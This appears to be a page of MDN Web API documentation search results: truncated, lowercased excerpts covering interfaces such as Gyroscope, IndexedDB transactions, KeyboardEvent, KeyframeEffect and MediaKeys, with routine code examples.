... syntax var gyroscope = new gyroscope([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
Gyroscope - Web APIs
WebAPIGyroscope
constructor gyroscope.gyroscope() creates a new gyroscope object.
... let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate...
HTMLElement.dir - Web APIs
WebAPIHTMLElementdir
syntax var currentwritingdirection = elementnodereference.dir; elementnodereference.dir = newwritingdirection; currentwritingdirection is a string variable representing the text writing direction of the current element.
... newwritingdirection is a string variable representing the text writing direction value.
HTMLElement.lang - Web APIs
WebAPIHTMLElementlang
syntax var languageused = elementnodereference.lang; // get the value of lang elementnodereference.lang = newlanguage; // set new value for lang languageused is a string variable that gets the language in which the text of the current element is written.
... newlanguage is a string variable with its value setting the language in which the text of the current element is written.
HTMLFormElement: formdata event - Web APIs
le no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.se...
...nd(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification.
HTMLFormElement - Web APIs
examples creating a new form element, modifying its attributes, then submitting it: const f = document.createelement("form"); // create a form document.body.appendchild(f); // add it to the document body f.action = "/cgi-bin/some.cgi"; // add action and method attributes f.method = "post"; f.submit(); // call the form's submit() method extract information from a <fo...
... f.action = "a-different-url.cgi"; f.name = "a-different-name"; } </script> submit a <form> into a new window: <!doctype html> <html> <head> <meta charset="utf-8"> <title>example new-window form submission</title> </head> <body> <form action="test.php" target="_blank"> <p><label>first name: <input type="text" name="firstname"></label></p> <p><label>last name: <input type="text" name="lastname"></label></p> <p><label><input type="password" name="pwd"></label></p> <fieldset> <legend>pe...
HTMLMediaElement.currentTime - Web APIs
changing the value of currenttime this value seeks the media to the new time.
... setting currenttime to a new value seeks the media to the given time, if the media is available.
HTMLMediaElement: seeking event - Web APIs
the seeking event is fired when a seek operation starts, meaning the boolean seeking attribute has changed to true and the media is seeking a new position.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeking', (event) => { console.log('video is seeking a new position.'); }); using the onseeking event handler property: const video = document.queryselector('video'); video.onseeking = (event) => { console.log('video is seeking a new position.'); }; specifications specification status html living standardthe definition of 'seeking media event' in that specification.
HTMLTableCellElement - Web APIs
permitted values for scope are: col the header cell applies to the following cells in the same column (or columns, if colspan is used as well), until either the end of the column or another <th> in the column establishes a new scope.
... row the header cell applies to the following cells in the same row (or rows, if rowspan is used as well), until either the end of the row or another <th> in the same row establishes a new scope.
HTMLTableElement.createCaption() - Web APIs
note: if no caption exists, createcaption() inserts a new caption directly into the table.
... the caption does not need to be added separately as would be the case if document.createelement() had been used to create the new <caption> element.
HTMLTableElement.createTFoot() - Web APIs
note: if no footer exists, createtfoot() inserts a new footer directly into the table.
... the footer does not need to be added separately as would be the case if document.createelement() had been used to create the new <tfoot> element.
HTMLTableElement.createTHead() - Web APIs
note: if no header exists, createthead() inserts a new header directly into the table.
... the header does not need to be added separately as would be the case if document.createelement() had been used to create the new <thead> element.
Headers.getAll() - Web APIs
WebAPIHeadersgetAll
the getall() method of the headers interface used to return an array of all the values of a header within a headers object with a given name; in newer versions of the fetch spec, it has been deleted, and headers.get() has been updated to fetch all header values instead of only the first one.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then retrieve it using getall(): myheaders.append('content-type', 'image/jpeg'); myheaders.getall('content-type'); // returns [ "image/jpeg" ] if the header has multiple values associated with it, the array will contain all the values, in the order they were added to the headers object: myheaders.append('accep...
IDBEnvironment - Web APIs
not for use in new websites.deprecated.
... not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
IDBIndexSync - Web APIs
the range of the new cursor matches the specified key range; if the key range is not specified or is null, then the range includes all the records.
...the range of the new cursor matches the specified key range; if the key range is not specified or is null, then the range includes all the records.
IDBObjectStore.autoIncrement - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.autoincrement); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'autoincrement' in that specification.
IDBObjectStore.deleteIndex() - Web APIs
idbobjectstore.createindex is used to create new indexes on the object store, after which we delete the unneeded old indexes with deleteindex().
...this is used a lot below db = this.result; // run the displaydata() function to populate the task list with all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of the database needs to be created // either one has not been created before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // crea...
IDBObjectStore.indexNames - Web APIs
// this is used a lot below db = this.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.indexnames); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'indexnames' in that specification.
IDBObjectStore.keyPath - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.keypath); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification.
IDBObjectStore.transaction - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.transaction); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'transaction' in that specification.
IDBOpenDBRequest.onblocked - Web APIs
// this is used a lot below db = request.result; // run the displaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of the // database needs to be created.
... either one has not been created // before, or a new version number has been submitted via the // window.indexeddb.open line above //it is only implemented in recent browsers request.onupgradeneeded = function(event) { var db = event.target.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); ...
IDBRequest.error - Web APIs
WebAPIIDBRequesterror
you get this error, for example, if you try to add a new key that already exists in the record.
...uest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); }; specifications specific...
IDBRequest: error event - Web APIs
ateindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); dbopenrequest.addeventlistener('success', event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); objectstorerequest.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); }); the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest...
... objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); objectstorerequest.onerror = () => { console.log(`error adding new item: ${newitem.tasktitle}`); }; }; ...
IDBRequest.transaction - Web APIs
itlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // log the transaction that originated this request console.log("the transaction that originated this request is " + updatetitlerequest.transaction); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; this example shows how a the transaction property can be used during a version upgrade to access existing object stores:​ var openrequest = indexeddb.open('db', 2); console.log(openrequest.transaction); // will log "null".
... var db = openrequest.result; if (event.oldversion < 1) { // new database, create "books" object store.
IDBTransaction.abort() - Web APIs
this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // abort the transaction we just did transaction.abort(); }; specification...
IDBTransaction.commit() - Web APIs
note that commit() doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made.
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("myobjstore"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database ...
IDBTransaction: complete event - Web APIs
t.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.addeventlistener('complete', event => { console.log('transaction was competed'); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; using the oncomplete property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creat...
... }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.oncomplete = event => { console.log('transaction was competed'); }; const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; ...
IDBTransaction.db - Web APIs
WebAPIIDBTransactiondb
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the database (idbdatabase) connection with which this transaction ...
IDBTransaction.error - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...{ note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed d...
IDBTransaction: error event - Web APIs
createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexedd...
...; objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.onerror = () => { console.log(`error adding new item: ${newitem.tasktitle}`); }; const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); }; ...
IDBTransaction.mode - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // return the mode this transaction has been opened in (should be "readwrite...
IDBTransaction.objectStore() - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; specification specification status comment indexe...
IDBTransaction.onabort - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...{ note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; transaction.onabort = function() { // report when the transaction was succe...
IDBTransaction.oncomplete - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...{ note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.oncomplete) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed d...
IDBTransaction.onerror - Web APIs
// this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready for being inserted into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) ...
...{ note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed d...
ImageCapture - Web APIs
constructor imagecapture() creates a new imagecapture object which can be used to capture still frames (photos) from a given mediastreamtrack which represents a video stream.
... var imagecapture; function ongetusermediabuttonclick() { navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); }) .catch(error => console.log(error)); } function ongrabframebuttonclick() { imagecapture.grabframe() .then(imagebitmap => { const canvas = document.queryselector('#grabframecanvas'); drawcanvas(canvas, imagebitmap); }) .catch(error => console.log(error)); } function ontakephotobuttonclick() { imagecapture.takephoto() .then(blob => createimagebitmap...
InputDeviceCapabilities - Web APIs
the inputdevicecapabilities() constructor creates a new inputdevicecapabilities object provides information about the physical device responsible for generating a touch event.
... syntax var inputdevicecapabilities = new inputdevicecapabilities([inputdevicecapabilitiesinit]) returns an instance of the inputdevicecapabilities interface.
InputEvent() - Web APIs
the inputevent() constructor creates a new inputevent.
... syntax event = new inputevent(typearg, inputeventinit); values typearg is a domstring representing the name of the event.
InstallEvent.InstallEvent() - Web APIs
the installevent() constructor creates a new installevent object.
... syntax var myinstallevent = new installevent(type, init); parameters type the type of the event.
InstallEvent - Web APIs
t x="306" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="366" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">installevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor installevent.installevent() creates a new installevent object.
...resources to pre-fetch:', urlstoprefetch); event.waituntil( caches.open(current_caches['prefetch']).then(function(cache) { return cache.addall(urlstoprefetch.map(function(urltoprefetch) { return new request(urltoprefetch, {mode: 'no-cors'}); })).then(function() { console.log('all resources have been fetched and cached.'); }); }).catch(function(error) { console.error('pre-fetching failed:', error); }) ); }); specifications specification status comment service workers working draft as of may 2015, the install event is an insta...
installChrome - Web APIs
installchrome installs new skin or locale packages in netscape 6 and mozilla.
...description installchrome is a special method for installing new chrome in netscape 6 and mozilla.
KeyboardEvent() - Web APIs
the keyboardevent() constructor creates a new keyboardevent.
... syntax event = new keyboardevent(typearg, keyboardeventinit); values typearg is a domstring representing the name of the event.
KeyboardEvent.code - Web APIs
this function computes the new position of the ship given the distance moved and the current direction the ship is facing.
...hipsize.width/2); let y = position.y - (shipsize.height/2); let transform = "translate(" + x + " " + y + ") rotate(" + angle + " 15 15) "; spaceship.setattribute("transform", transform); } finally, the addeventlistener() method is used to start listening for keydown events, acting on each key by updating the ship position and rotation angle, then calling refresh() to draw the ship at its new position and angle.
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
when key 2 is pressed, another keydown event is fired for this new key press, and the key property value for the event is set to the string @ for the u.s keyboard type and " for the uk keyboard type, because of the active modifier shift key.
... when key 2 is pressed, another keydown event is fired for this new key press, and the key property value for the event is set to be the string @ for the u.s keyboard type and " for the uk keyboard type, because of the active modifier shift key.
KeyboardLayoutMap - Web APIs
keyboardlayoutmap.keys read only returns a new array iterator object that contains the keys for each index in the array.
... keyboardlayoutmap.values read only returns a new array iterator object that contains the values for each index in the keyboardlayoutmap object.
KeyframeEffect.setKeyframes() - Web APIs
the setkeyframes() method of the keyframeeffect interface replaces the keyframes that make up the affected keyframeeffect with a new set of keyframes.
... implicit to/from keyframes in newer browser versions, you are able to set a beginning or end state for an animation only (i.e.
KeyframeEffect.target - Web APIs
syntax var targetelement = document.getelementbyid("elementtoanimate"); var keyframes = new keyframeeffect( targetelement, keyframeblock, timingoptions ); // returns #elementtoanimate keyframes.target; // assigns keyframes a new target keyframes.target = newtargetelement; value an element, csspseudoelement, or null.
... examples in the follow the white rabbit example, whiterabbit sets the target element to be animated: var whiterabbit = document.getelementbyid("rabbit"); var rabbitdownkeyframes = new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // returns <div id=​"rabbit">​click the rabbit's ears!​</div>​ rabbitdownkeyframes.target; specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
KeyframeEffect - Web APIs
constructor keyframeeffect() returns a new keyframeeffect object instance, and also allows you to clone an existing keyframe effect object instance.
... examples in the follow the white rabbit example, the keyframeeffect constructor is used to create a set of keyframes that dictate how the white rabbit should animate down the hole: var rabbitdownkeyframes = new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification.
LargestContentfulPaint - Web APIs
// catch errors since some browsers throw when using the new `type` option.
... // https://bugs.webkit.org/show_bug.cgi?id=209216 try { let lcp; const po = new performanceobserver((entrylist) => { const entries = entrylist.getentries(); const lastentry = entries[entries.length - 1]; // update `lcp` to the latest value, using `rendertime` if it's available, // otherwise using `loadtime`.
LayoutShift - Web APIs
// catch errors since some browsers throw when using the new `type` option.
... // https://bugs.webkit.org/show_bug.cgi?id=209216 try { let cumulativelayoutshiftscore = 0; const observer = new performanceobserver((list) => { for (const entry of list.getentries()) { // only count layout shifts without recent user input.
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
the linearaccelerationsensor constructor creates a new linearaccelerationsensor object which provides on each reading the acceleration applied to the device along all three axes, but without the contribution of gravity.
... syntax var linearaccelerationsensor = new linearaccelerationsensor([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
LinearAccelerationSensor - Web APIs
constructor linearaccelerationsensor.linearaccelerationsensor() creates a new linearaccelerationsensor object.
... let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sens...
MIDIConnectionEvent - Web APIs
this occurs any time a new port becomes available, or when a previously available port becomes unavailable.
... constructor midiconnectionevent.midiconnectionevent creates a new midiconnectionevent object.
MSCandidateWindowUpdate - Web APIs
on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages.
... tan ime candidate window may be identified as needing to change size for any of the following reasons: as a result of displaying new / changed alternatives or predictions web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element).
MSSiteModeEvent - Web APIs
dom information inheritance hierarchy event mssitemodeevent methods method description initevent initializes a new generic event that the createevent method created.
... example interface mssitemodeevent extends event { buttonid: number; actionurl: string; } declare var mssitemodeevent: { prototype: mssitemodeevent; new(): mssitemodeevent; } see also microsoft api extensions ...
Magnetometer.Magnetometer() - Web APIs
the magnetometer constructor creates a new magnetometer object which returns information about the magnetic field as detected by a device’s primary magnetometer sensor.
... syntax var magnetometer = new magnetometer([options]) parameters options optional options are as follows: frequency: the desired number of times per second a sample should be taken, meaning the number of times per second that sensor.onreading will be called.
Magnetometer - Web APIs
constructor magnetometer.magnetometer() creates a new magnetometer object.
... let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate re...
MediaDevices.ondevicechange - Web APIs
for each device, we create a new <li> object to be used to display it to the user.
...this uses destructuring assignment (a new feature of ecmascript 6) to assign the values of the first three items in the array returned by string.match() to the variables kind, type, and direction.
MediaKeyMessageEvent() - Web APIs
the mediakeymessageevent constructor creates a new mediakeymessageevent object which creates a new instance of mediakeymessageevent.
... syntax var mediakeymessageevent = new mediakeymessageevent(typearg, options) parameters typearg a domstring containing one of may be one of license-request, license-renewal, license-renewal, or individualization-request.
MediaKeyMessageEvent - Web APIs
="116" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediakeymessageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor mediakeymessageevent() creates a new instance of mediakeymessageevent.
...may be one of license-request, license-renewal, license-release, or individualization-request.
MediaKeyStatusMap.keys() - Web APIs
the keys property of the mediakeystatusmap interface returns a new iterator object, containing keys for each element in the status map, in insertion order.
... returns a new iterator.
MediaKeyStatusMap.values() - Web APIs
the values property of the mediakeystatusmap interface returns a new iterator object, containing values for each element in the status map, in insertion order.
... returns a new iterator.
MediaList.mediaText - Web APIs
the mediatext property of the medialist interface is a stringifier that returns a domstring representing the medialist as text, and also allows you to set a new medialist.
... if you wish to set new media queries on the document, the string value must have the different queries separated by commas, e.g.
MediaQueryList.addListener() - Web APIs
older browsers should use addlistener instead of addeventlistener since mediaquerylist only inherits from eventtarget in newer browsers.
...in the new implementation the standard event mechanism is used, the callback is a standard function, and the event object is a mediaquerylistevent, which inherits from event.
MediaRecorder: dataavailable event - Web APIs
